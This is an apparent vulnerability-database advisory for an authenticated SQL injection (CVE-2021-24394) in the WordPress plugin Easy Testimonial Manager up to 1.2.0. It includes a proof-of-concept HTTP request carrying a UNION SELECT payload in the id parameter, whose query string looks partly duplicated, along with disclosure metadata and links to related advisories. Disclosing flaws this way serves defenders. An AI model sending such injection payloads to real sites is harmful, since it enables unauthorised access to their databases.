Easy Testimonial Manager <= 1.2.0 – Authenticated SQL Injection | CVE 2021-24394 | Plugin Vulnerabilities

Description

An id GET parameter of the plugin is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection

Proof of Concept

GET /wp-admin/admin.php?page=easy_testimonial_update&id=page=easy_testimonial_update&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,user(),NULL,NULL-- HTTP/1.1
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

Affects Plugins

easy-testimonial-manager

No known fix

References

CVE

URL

https://codevigilant.com/disclosure/2021/wp-plugin-easy-testimonial-manager/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Syed Sheeraz Ali of Codevigilant

Verified

Yes

WPVDB ID

e0bc9251-cccc-4416-91b2-8395d89d8fb3

Timeline

Publicly Published

2021-07-23 (about 4 years ago)

Added

2021-08-09 (about 4 years ago)

Last Updated

2022-04-02 (about 3 years ago)

Other

Published

Title

Published

2022-11-21

Title

Icegram Express < 5.5.1 - Subscriber+ SQLi

Published

2021-12-24

Title

Advanced Custom Fields: Extended < 0.8.8.7 - Admin+ SQL Injection

Published

2023-04-17

Title

Bitcoin / AltCoin Payment Gateway < 1.7.3 - Unauthenticated SQLi

Published

2024-09-26

Title

Zoho Flow for WordPress < 2.8.1 - Authenticated (Administrator+) SQL Injection

Published

2023-10-30

Title

WP fade in text news < 12.1 - Authenticated (Subscriber+) SQL Injection via Shortcode